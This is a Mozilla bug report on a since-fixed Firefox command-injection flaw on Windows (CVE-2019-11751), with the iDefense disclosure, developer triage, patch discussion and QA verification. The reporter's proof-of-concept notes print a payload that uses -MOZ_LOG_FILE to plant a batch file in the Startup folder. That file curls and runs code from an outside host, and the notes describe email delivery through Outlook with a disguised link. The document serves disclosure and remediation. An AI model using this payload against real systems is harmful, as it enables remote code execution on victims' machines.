1572838 - (CVE-2019-11751) URI Handler Command Injection Vulnerability [iDefense V-bsk2ottbf1]

Status: VERIFIED FIXED

(Toolkit :: Startup and Profile System, defect)

Description

[Al Billings [:abillings - ex-MoCo]]

Attachment: PoC html file

The following email received from [e-mail]

-------- Forwarded Message --------
Subject: Fwd: iDefense Vendor Notification - [V-bsk2ottbf1]
Date: Fri, 9 Aug 2019 17:51:29 +0000
From: Vendor Disclosure <[e-mail]>
To: [e-mail] <[e-mail]>
CC: Vendor Disclosure <[e-mail]>

Please find the attached report and PoC for this issue.

Thanks,
Rohit Mothe
iDefense Labs

-------- Forwarded Message --------
Subject: iDefense Vendor Notification - [V-bsk2ottbf1]
Date: Fri, 9 Aug 2019 17:48:58 +0000
From: [e-mail] <[e-mail]>
Reply-To: [e-mail]
To: [e-mail]

iDefense has identified a vulnerability. This vulnerability was submitted to iDefense through our Vulnerability Contributor Program:

https://vcp.idefense.com/

iDefense Labs has validated this vulnerability and has drafted the attached advisory.Additionally, proof-of-concept code is available on request.

IMPORTANT: Please be sure to copy at least one of the '[V-bsk2ottbf1]' number(s) from this email's subject line into the subject for any emails sent as a reply.
Omission of this information from the subject line will cause emails sent by you to be automatically deleted when processed by the iDefense email SPAM
filters.

In accordance with our vendor disclosure policy
( https://vcp.idefense.com/assets/VCP_Responsible_Disclosure_Policy_4_23_18.pdf ),
we request that you acknowledge receipt of this initial notification within five business days.Our intent is to begin the process of coordinating an appropriate public disclosure date for this issue that will provide your company with adequate time to develop a patch or workaround to mitigate this vulnerability. If you have questions regarding this issue or require further details to assist with your analysis, please do not hesitate to contact us.

It is always our goal to coordinate on the public disclosure of patches/advisories as quickly as possible after a vulnerability is discovered.If, however, a reasonable time-frame cannot be agreed upon for this issue,it will be publicly released in 60 days on 10/08/2019
iDefense is willing to work with a vendor to find a mutually agreeable release date beyond this time-frame so long as the vendor continues to make good faith
efforts to produce patches in a timely fashion and regularly informs iDefense of their progress in doing so.

Please note that if the affected product is included within other applications and/or operating systems, iDefense will not be coordinating disclosure of the vulnerability to affected third parties. We ask that you handle this coordination separately.

Regards,

iDefense Vendor Liaison
iDefense Labs

---

Submissions included in this notification:

V-bsk2ottbf1 : Mozilla Firefox URI Handler Command Injection Vulnerability (iDefense Zero Day)

---

See the attached files for details regarding the above submissions.

---

The attached text file, V-bsk2ottbf1.txt, contains:

iDefense VCP Submission V-bsk2ottbf1
08/09/2019
Mozilla Firefox URI Handler Command Injection Vulnerability (iDefense Zero Day)

Description:
Remote exploitation of an input validation vulnerability in Mozilla Foundation's Firefox could allow an attacker to execute arbitrary code with the privileges of the current user.

Analysis:
An input validation vulnerability has been identified in Firefox. Specifically, the error occurs in the URI Handler component in the way it improperly sanitizes MOZ_LOG and MOZ_LOG_FILE arguments. This can lead to command injection attacks.

Credit:
Ping Fan (Zetta) Ke of VXRL working with iDefense Labs (https://vcp.idefense.com/)

Attached PoC.zip contains notes.text and a firefox.htm PoC file. Notes.text states:

Firefox URI Handler RCE

== Update 1 ==

I have checked the payload with the recent version 68 (instead of 67 in PoC) and found that the exploit is not very stable. In many cases the user has to manually kill the Firefox process in order to write the payload into the start up folder properly. However, one can simply add the -P argument (or -profile or -migration) to force Firefox to peacefully shut down, but the tradeoff is the user will see a message box regarding import profile. Yet, the benefit of using this -P argument is even if the user is running Firefox, he or she will still get infected, which is not the case with the previous payload.

-- Steps to reproduce the payload --
To reproduce, one can simply create a .url shortcut:

FirefoxURL-308046B0AF4A39CB:" -P -MOZ_LOG=raw,Widget:4 -MOZ_LOG_FILE="C:/Users/IEUser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/&cd ..&cd ..&cd Users&cd Public&curl -o z.bat poc.mm2.in&z.bat

The additional -P argument makes the exploit more reliable, and note that one need to change IEUser to the victim's Windows user name. This requires addition information gathering on the user's profile.

Alternatively, one can leverage certain Windows Apps like Microsoft Outlook as shown in the PoC video. To reproduce like in the PoC video, send the following htm file as attachment to the victim:

<a href='FirefoxURL-308046B0AF4A39CB:" -P -MOZ_LOG=raw,Widget:4 -MOZ_LOG_FILE="C:/Users/IEUser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/&cd ..&cd ..&cd Users&cd Public&curl -o z.bat poc.mm2.in&z.bat'>Import Bookmark to Firefox</a> 

The victim will then open the htm file in preview mode, so that the payload should be shown in Outlook instead of the default browser. Then if the victim click on the link, it will trigger the exploit.

-- Technical detail --
This exploit is chaining two features, argument injection (e.g. CVE-2018-1000006) and writing executable file in start up directory (e.g. CVE-2018-20250). Interestingly, Firefox has an argument injection vulnerability in 12 years ago (CVE-2007-3670), and fixed with the additional flag -osint (e.g. in nsAppRunner.cpp). However, the recent -MOZ_LOG and -MOZ_LOG_FILE arguments do not have checking with the -osint flag (in LogCommandLineHandler.cpp), causing this vulnerability to resurrect.

The -MOZ_LOG and -MOZ_LOG_FILE allow arbitrary log file writing in arbitrary location, but the payload has to be crafted carefully in order to have meaningful code execution. Fortunately, the Widget log module will record the file access activities, so one could reflectively write the payload in the file name to do arbitrary code execution. In the example payload, it uses the built-in curl to download the payload from poc.mm2.in (which is just calc), and write to the Public folder and execute it.

The major browsers have already encode the URL when executing (e.g. " becomes %22), so if one open the htm payload with Chrome or Firefox itself, it will not trigger the exploit. Yet, many Windows Apps (e.g. Microsoft Office) do not do the encoding as the custom URIs are used for IPC, so it still have a great opportunity to launch such an attack.

On the other hand, unlike CVE-2018-20250, the execution base of Firefox is not in a user folder, so using directory traversal trick to write in start up is not feasible. Using variable such as %APPDATA% is also not working unlike CVE-2018-8311. So one need to guess the Windows username. In many organizations like the universities that I have worked in, the Windows username is simply the email address name. As the payload is delivered through email, attackers could target employees in an organization if they could gather the email information.

Reference:
https://github.com/mozilla/gecko-dev/blob/9c99764b14a5e5ef806cf56f4ce276a7c9de25e0/toolkit/xre/nsAppRunner.cpp
https://github.com/mozilla/gecko-dev/blob/265e6721798a455604328ed5262f430cfcc37c2f/xpcom/base/LogCommandLineHandler.cpp

Comment 1

[Andrew McCreight [:mccr8]]

I don't really know what is going on here, but this looks related to the issue in bug 1430964. It looks like there's a regexp that tries to catch these in BrowserContentHandler.jsm, but presumably it misses this particular case because of the weird junk after FirefoxURL, but whatever it is being passed to is okay with the junk.

Comment 2

[Andrew McCreight [:mccr8]]

Maybe that's completely unrelated, but hopefully Gijs has more of an idea what might be going wrong here than me.

Comment 4

[Paul Theriault [:pauljt] (no longer reading bugmail)]

Took a little look into this. I have not been able to verify this - I don't have MS Office on this machine, and as I couldn't create a working .url as described in comment zero. I was able to verify that firefoxurl-308046b0af4a39cb: is a registered URL handler for Firefox on windows. No clue why that string specifically. But I wasn't able to find a way to pass args to Firefox via that handler, but comment 0 alludes to this being possible.

I have a lot of thoughts/questions though:

1. Can they provide a sample .url file which demonstrates this issue? (or some other reliable way to trigger this?)

2. What windows version is this PoC tested to work on?

3. If an attacker can supply command line args to Firefox, then isn't it already game over? (for example, if you can supply a --profile argument, then couldn't you just load a malicious profile which would give you control of firefox (assuming you could load a remote profile??) [1]

4. In my testing, I saw multiple warning prompts, both from Firefox, and from the client programs (IE, windows etc) that I was opening the URL with. Did we get the PoC video, or can we ask if the PoC requires the user to click through a warning (Firefox or otherwise OS, other browser etc)

[1] PS I tried to test this, and Firefox crashed :/

Comment 5

[Frederik Braun [:freddy]]

(In reply to Paul Theriault [:pauljt] (needinfo pls) from comment #4)

Took a little look into this. I have not been able to verify this - I don't have MS Office on this machine, and as I couldn't create a working .url as described in comment zero. I was able to verify that firefoxurl-308046b0af4a39cb: is a registered URL handler for Firefox on windows. No clue why that string specifically. But I wasn't able to find a way to pass args to Firefox via that handler, but comment 0 alludes to this being possible.

Regarding the number: It seems this is the AppUserModelID we set. https://docs.microsoft.com/en-us/windows/win32/shell/appids

3. If an attacker can supply command line args to Firefox, then isn't it already game over? (for example, if you can supply a --profile argument, then couldn't you just load a malicious profile which would give you control of firefox (assuming you could load a remote profile??) [1]

Very much this.

Comment 6

[:Gijs (he/him)]

OK, so some notes:

1. like others before me, I cannot reproduce locally. A working .url file (where all that needs changing is the path to the right folder for the given username) would really help, as well as details of what windows version they're using. If wordpad (rather than ms word) can be used to reproduce, details about how to check that would also really help.
2. The email notes that LogCommandLineHandler.cpp doesn't check osint, but it should. I think this assessment is correct. See bug 1530103. We should probably audit if there are any other handlers that need checking here, and ideally do some work to make this a safe-by-default thing instead of forcing every handler to opt in. I did some searching at the time but didn't find this code; unsure why but either way it needs sorting out. Paul/Freddy, can you check?
3. As defense in depth, LogCommandLineHandler should probably find a way of specifying file names that doesn't execute arbitrary shell code. I'm not familiar enough with Windows to offer concrete suggestions, but this seems like something that should be straightforward.
4. As comment #2 notes, the firefoxurl: regex in BrowserContentHandler is probably broken since (AFAICT) bug 1324617 forgot to update it when switching to per-release URLs. We should probably have a unit test of some sort on Windows. I don't know if that would actually fix this issue, because I can't reproduce (see (1)). Off-hand, AFAICT the firefoxurl-[goop]: thing goes to Windows, and Windows substitutes everything after the colon into a Firefox.exe -osint -url "<everything>" commandline, so there'll be no "firefoxurl:" on the commandline anyway, unless it's nested more than once or something. Matt, can you clarify what firefoxurl: is at this point, if my understanding of how this makes it into BrowserContentHandler is correct, and/or if we should just update the regex to match firefox-url(-[a-f0-9]+)?: or something ? Looks like we don't necessarily remove the old registry entry for firefoxurl: so we probably need to keep dealing with firefoxurl: as well...
5. Re: "if you can pass Firefox arbitrary arguments, we're already hosed" (comment #4 / comment #5) - not to the RCE extent, because people can and do pass us shitty things via the firefoxurl thing, see the history in https://bugzilla.mozilla.org/show_bug.cgi?id=384384 . The osint flag is supposed to save our bacon here. In fact, it looks like we check it for -migration and -profile, which is odd because the email cited in comment #0 claims it helps the PoC somehow. I don't think we check it for the -P flag, which is OK because it's a bool that shows the profile manager, or selects an extant profile by name (so to do anything malicious, you'd need to be able to write a profile + alter profiles.ini prior to running anything).

TL;DR: we really need a working PoC so we can verify any fixes here, confirmation from the reporter which versions they've tested with (the magical string of numbers will be different for nightly and possibly for beta/devedition) and clarify whether the protections on some of the other commandline flags are/aren't working given the conflicting information so far.

Comment 7

[Molly Howell (she/her) (no longer active)]

(In reply to :Gijs (he/him) from comment #6)

Matt, can you clarify what firefoxurl: is at this point, if my understanding of how this makes it into BrowserContentHandler is correct, and/or if we should just update the regex to match firefox-url(-[a-f0-9]+)?: or something ? Looks like we don't necessarily remove the old registry entry for firefoxurl: so we probably need to keep dealing with firefoxurl: as well...

The string following FirefoxURL- is the install path hash, AKA the string returned from nsIXREDirProvider.getInstallHash() (we do also use this string as the AppUserModelID, as comment 5 notes). I added these to the handler strings to make it possible to have more than one install of Firefox available to use for file associations; I wasn't aware of this validator regex, you're right that I should have updated it then. We do leave the old FirefoxURL handlers alone when they exist because the installer can't generally overwrite existing file associations without just breaking them, so you're right that either FirefoxURL on its own or with the suffix are both valid; I think your proposed change to the regex is correct (without the - in firefoxurl). Alternatively we could validate that the install hash is actually correct for that installation instead of just that it matches a regex, but I'm not sure there's much need since the hash isn't intended to provide any security.

Comment 8

[Eric Rahm [:erahm]]

It seems like we should have some sort of opt-in for params that are allowed when -osint is specified rather than hoping that we remember to check them.

If I understand correctly, fixing things the current way means adding a CheckArg call to nsToolkitProfileService::SelectStartupProfile and ProcessCmdLine, right?

It's also possible we should be using safer interface than directly using fopen, but I'm not sure if we have anything that does validity checking on file paths.

Honza, is that something you can look into?

Comment 9

[:Gijs (he/him)]

(In reply to Eric Rahm [:erahm] from comment #8)

It seems like we should have some sort of opt-in for params that are allowed when -osint is specified rather than hoping that we remember to check them.

Yes, indeed.

If I understand correctly, fixing things the current way means adding a CheckArg call to nsToolkitProfileService::SelectStartupProfile and ProcessCmdLine, right?

That'd change our processing of -P, but for the MOZ_LOG* stuff, we need to change LogCommandLineHandler to call CheckArg (or have its own osint checks). It looks like that does its own manual processing of argv/argc, which explains why I missed it when I looked (for things that use the relevant xpcom interfaces or call checkarg but without that flag). This probably interacts poorly with any attempts to make the osint case more opt-out. That is, no matter how opt-out we make it, if people are going to add core xpcom code with hand-rolled argv/argc handling, I don't see how we can avoid that besides screamy comments saying "do not touch argv/argc yourself".

I don't know if we need to disallow -P in combination with -osint - I guess it's possible people edit registry options to enforce external links opening in a specific profile or whatever, and I don't see a security vector in the use of -P with -osint. AFAICT all the issues are with the other flags...

Comment 10

[iDefense Vendor Relations]

Attachment: URL Shortcut PoC

The URL shortcut has a link to the local folder. Please change the username and folder path accordingly before testing it.

Comment 11

[iDefense Vendor Relations]

Hello,
We were able to test this on Firefox 68.0.1 (64 Bit) running on Windows 10 1809 64 bit

There are two ways to trigger the issue , locally by double clicking and remotely(via email) -
a)The Provided URL shortcut file (Google.URL) demonstrates the issue locally.
b) Provided .htm file demonstrates the email attachment vector in Outlook(app not web outlook). Upon preview and clicking the link , the attack succeeds.

There is a prompt that gets displayed if you run the URL shortcut locally or preview the htm file via outlook that says - “Your Firefox Profile Cannot be Loaded. it may be missing or inaccessible”
Important thing to note here is that the attack already succeeds by the time the prompt is displayed by writing to the startup folder on Windows which is
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Note: the preview feature in outlook seems to work via the native Outlook App and not in typical web outlook views where you can only download and not preview.

The demo video below shows the issue on Windows 10 Firefox 67
https://drive.google.com/file/d/1CcItIq_PtehBJfVamykTSW-IW3u-Ce2Y/view

-iDefense Labs

Comment 12

[:Gijs (he/him)]

(In reply to iDefense Vendor Relations from comment #11)

There is a prompt that gets displayed if you run the URL shortcut locally or preview the htm file via outlook that says - “Your Firefox Profile Cannot be Loaded. it may be missing or inaccessible”
Important thing to note here is that the attack already succeeds by the time the prompt is displayed by writing to the startup folder on Windows which is
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Oh, so the expectation is that calc isn't actually popped then, but only at the next restart? That was... not obvious from the report as filed...

Comment 13

[iDefense Vendor Relations]

Apologies, if the report was not very clear regarding the attack but Yes, one could get code execution at next restart-in fact even a simple logoff-login to the account as well. So code execution but not immediate. While a bit restricted, it is still a powerful primitive

Comment 14

[:Gijs (he/him)]

(In reply to iDefense Vendor Relations from comment #13)

Apologies, if the report was not very clear regarding the attack but Yes, one could get code execution at next restart-in fact even a simple logoff-login to the account as well. So code execution but not immediate. While a bit restricted, it is still a powerful primitive

No, that's fine, it just helps to understand exactly what's going on, and to figure out what we can do about it.

(In reply to iDefense Vendor Relations from comment #11)

The demo video below shows the issue on Windows 10 Firefox 67
https://drive.google.com/file/d/1CcItIq_PtehBJfVamykTSW-IW3u-Ce2Y/view

So in fact, looking at the video, I was wrong about MOZ_LOG running shell code - what happens is a file with this full path:

C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\&cd ..&cd ..&cd Users&cd Public&curl -o test.bat poc.mm2.in &test.bat

is written to disk, and its contents include its own path as a result of the Widget logging for "ResolveJunctionPointsAndSymLinks: Resolving path:" (from https://searchfox.org/mozilla-central/rev/ec806131cb7bcd1c26c254d25cd5ab8a61b2aeb6/widget/windows/WinUtils.cpp#1898 ). Then when the user logs on, the file is run as a bat file and, although there's a load of other gunk that gets ignored / throws errors, apparently bat processing is lenient enough that this line actually manages to run calc (or whatever else is at the end of that curl). Wow.

Comment 15

[Frederik Braun [:freddy]]

(In reply to :Gijs (he/him) from comment #6)

2. The email notes that LogCommandLineHandler.cpp doesn't check osint, but it should. I think this assessment is correct. See bug 1530103. We should probably audit if there are any other handlers that need checking here, and ideally do some work to make this a safe-by-default thing instead of forcing every handler to opt in. I did some searching at the time but didn't find this code; unsure why but either way it needs sorting out. Paul/Freddy, can you check?

Comment 16

[:Gijs (he/him)]

Attachment: Scrub args

I'm tempted to suggest we do something like this. It probably wants factoring out into the CmdLineAndEnvUtils header file so we can also call it from the launcher process on Windows, and then we can just remove all the CheckOSInt flags and/or manual handling like in https://searchfox.org/mozilla-central/rev/c7e8bc4996f979e5876b33afae3de3b1ab4f3ae1/toolkit/profile/nsToolkitProfileService.cpp#1335-1344 .

Dave and Nathan, does that sound right?

The only concern I have about that atm is that previously, running:

firefox.exe -osint -P foo -url google.com

would (AFAICT) error out and not load anything. With this patch, it just opens the default profile for that install and loads google.com . The -P flag gets ignored. I'm wondering if instead of carrying on our merry way, we should always exit early if unexpected flags get combined with -osint. Thoughts?

Comment 17

[Dave Townsend [:mossop]]

Comment on attachment 9085406 [details] [diff] [review]
Scrub args

Review of attachment 9085406 [details] [diff] [review]:
-----------------------------------------------------------------

I think we can and should be stricter here. From speaking with Matt the command line we should get from other applications has for years been `["-osint", "-url", "<url>"]` so lets validate against exactly that.

1. `if !CheckArgExists("osint") return`
2. `if gArgc != 4 crash`
3. `if gArgv[1] != "-osint" crash`
4. `if gArgv[2] != "-url" crash`
5. `strip gArgv[1]`

And then remove any other -osint handling elsewhere.

Comment 18

[Honza Bambas (:mayhemer)]

LogModule::Init is called on number of places. I've done it that way because normal command line handling happens too late. Beside your fix, to further mitigate, would always appending .log (if not already set) to the log file name inside the logging code be safer? Assuming that .log is possibly safer than arbitrary extension. We could also have .mozlog extension to prevent .log handlers to spawn.

Comment 19

[:Gijs (he/him)]

(In reply to Honza Bambas (:mayhemer) from comment #18)

Beside your fix, to further mitigate, would always appending .log (if not already set) to the log file name inside the logging code be safer? Assuming that .log is possibly safer than arbitrary extension. We could also have .mozlog extension to prevent .log handlers to spawn.

This seems like a sensible idea. If you're able to come up with a patch for that, I'll try and get something together for the suggestion in comment #17.

Comment 20

[:Gijs (he/him)]

Attachment: Bug 1572838 - ensure osint commandline args are passed appropriately, r?mhowell!,Mossop!

Comment 21

[Honza Bambas (:mayhemer)]

I'm preparing the patch for .mozlog extension appending. Should we land it as part of this bug or rather in a separate one?

Comment 22

[:Gijs (he/him)]

(In reply to Honza Bambas (:mayhemer) from comment #21)

I'm preparing the patch for .mozlog extension appending. Should we land it as part of this bug or rather in a separate one?

I think a separate one would be fine and would probably avoid attracting attention to which exact commandline flag led to exploits via -osint.

Comment 23

[:Gijs (he/him)]

Comment on attachment 9086057 [details]
Bug 1572838 - ensure osint commandline args are passed appropriately, r?mhowell!,Mossop!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Not super easily; the patch indicates that there's some reason to distrust other commandline arguments more strongly than we do now when using the -osint flag, and comments flag up that other apps might not escape commandlines correctly. IMO the combined use of a moz-log file in a location where Windows is guaranteed to start it next session, and the use of a log module that then echoes its own filename, and the fact that Windows batch scripting allows so much junk in the file and still executes, is obscure enough that it's not particularly obvious just from a patch that only restricts what we do with -osint to the bare minimum - it's obvious where to look, but there's quite some work to go from there.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: esr68, release and beta
• If not all supported branches, which bug introduced the flaw?: Bug 1451686
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Not hard - beta rebases without conflicts, I expect esr68 not to be too different.
• How likely is this patch to cause regressions; how much testing does it need?: Although the code is reasonably well-understood and I don't expect issues, QA should check that a fresh install as well as upgrades still open links correctly when set as default browser, on win7 as well as win10.

Comment 24

[Honza Bambas (:mayhemer)]

(In reply to :Gijs (he/him) from comment #22)

I think a separate one would be fine and would probably avoid attracting attention to which exact commandline flag led to exploits via -osint.

Agree. Bug 1574882.

Comment 25

[Daniel Veditz [:dveditz]]

Do we need to worry about BrowserContentHandler.jsm?
https://searchfox.org/mozilla-central/rev/428cf94f4ddfb80eebc6028023a7d89eb277791b/browser/components/BrowserContentHandler.jsm#846-848

Comment 26

[:Gijs (he/him)]

(In reply to Daniel Veditz [:dveditz] from comment #25)

Do we need to worry about BrowserContentHandler.jsm?
https://searchfox.org/mozilla-central/rev/428cf94f4ddfb80eebc6028023a7d89eb277791b/browser/components/BrowserContentHandler.jsm#846-848

I don't think it's critical, but I can update this bit of code while we're here. I've attached a second patch that does this.

Comment 27

[:Gijs (he/him)]

Attachment: Bug 1572838 - stop processing osint in BrowserContentHandler.jsm, r?dveditz,Mossop

Depends on D42311

Comment 28

[Ryan VanderMeulen [:RyanVM]]

Per discussion with Gijs, we're definitely going to want some additional QA testing around this after it lands:

mostly to smoketest "if you install/update Firefox that's the default browser and open links from word/email client/whatever, do things work?

Comment 29

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 9086057 [details]
Bug 1572838 - ensure osint commandline args are passed appropriately, r?mhowell!,Mossop!

Sec-approval+ for trunk. We'll want branch and ESR patches as well.

Comment 30

[:Gijs (he/him)]

https://hg.mozilla.org/integration/autoland/rev/bb2690f953d6b6d77cf89daf6b425929f495f560
https://hg.mozilla.org/integration/autoland/rev/43a837ab3e86ae321a2de0cfd27fc08977721a21

Comment 31

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/bb2690f953d6
https://hg.mozilla.org/mozilla-central/rev/43a837ab3e86

Comment 32

[:Gijs (he/him)]

Comment on attachment 9086057 [details]
Bug 1572838 - ensure osint commandline args are passed appropriately, r?mhowell!,Mossop!

Beta/Release Uplift Approval Request

• User impact if declined: Security issue as described.
• Is this code covered by automated tests?: No
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: Yes
• If yes, steps to reproduce: We should smoketest whether installing (or updating an existing install) of nightly/beta etc. still opens links from external applications (mail clients, word documents, the like) correctly.
• List of other uplifts needed: None
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): I can't deny it's not late in the game for this kind of change, but we're unlikely to shake out real regressions on beta/nightly anyway, so it's doubtful whether we'd gain anything from waiting (certainly now the fixes have landed on central). This was discussed prior to the sec-approval and landing.

Note that the patches graft cleanly to beta for me.

• String changes made/needed: Nope

Comment 33

[:Gijs (he/him)]

Comment on attachment 9086057 [details]
Bug 1572838 - ensure osint commandline args are passed appropriately, r?mhowell!,Mossop!

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-crit
• User impact if declined: See above.
• Fix Landed on Version: 70, uplifting to 69
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): This alters commandline arg processing and may affect opening Firefox for http(s) links from other apps. We should test carefully, but assuming I haven't messed up, this is fine for the "normal" case of how Firefox is installed and used. If enterprises have done crazy things here in terms of manipulating how Firefox is opened from other apps using the commandline... all bets are off. But there's no realistic way to find out (esp. given paucity of telemetry from enterprise envs) other than landing the patch and seeing what happens...
• String or UUID changes made by this patch: nope

Note: the patches graft cleanly to esr68, too.

Comment 34

[:Gijs (he/him)]

Mike, I don't suppose you have an inkling of whether enterprise users are likely to mess with our registry entries that would be used by Windows to deal with URLs from other apps?

Comment 35

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9086057 [details]
Bug 1572838 - ensure osint commandline args are passed appropriately, r?mhowell!,Mossop!

Approved for 69.0b16 and 68.1esr.

Comment 36

[Mike Kaply [:mkaply]]

(In reply to :Gijs (he/him) from comment #34)

Mike, I don't suppose you have an inkling of whether enterprise users are likely to mess with our registry entries that would be used by Windows to deal with URLs from other apps?

I've never heard of folks doing this and it seem like a terrible idea. Not something we should worry about.

Comment 37

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-beta/rev/20eaff20dec0
https://hg.mozilla.org/releases/mozilla-beta/rev/57bee2306211

Comment 38

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-esr68/rev/01f6b1c6b4dc
https://hg.mozilla.org/releases/mozilla-esr68/rev/8b4ed9c4a3cb

Comment 39

[Cristian Fogel [:cfogel]]

Managed to reproduce the issue with 68.0.2 as per the video from comment 11 on Windows 10 - version.1809.

Verification scenarios/builds:

• attempt to open both attachment and the shortcut link with the updated usernames, gmail/.txt files/.pdf files and links appeared to open as expected.

with Win 10 - 1809:

• install over from 68.0.2 - > 69.0b16;
• fresh install of nightly(70.0a1 (2019-08-25);
• 68.1esr(taskCluster).

with Win 7 (profesional - version6.1 - build 7601: Service Pack 1)

• update 69.0b10 -> 69.0b16;
• fresh install of nightly(70.0a1 (2019-08-25);
• 68.1esr(taskCluster).

@Gijs if you think that there is something that would need extra attention in this area, would gladly take another look at it.

Comment 40

[Frederik Braun [:freddy]]

I filed bug 1590126 for a follow-up audit, if still deemed necessary (I think it is).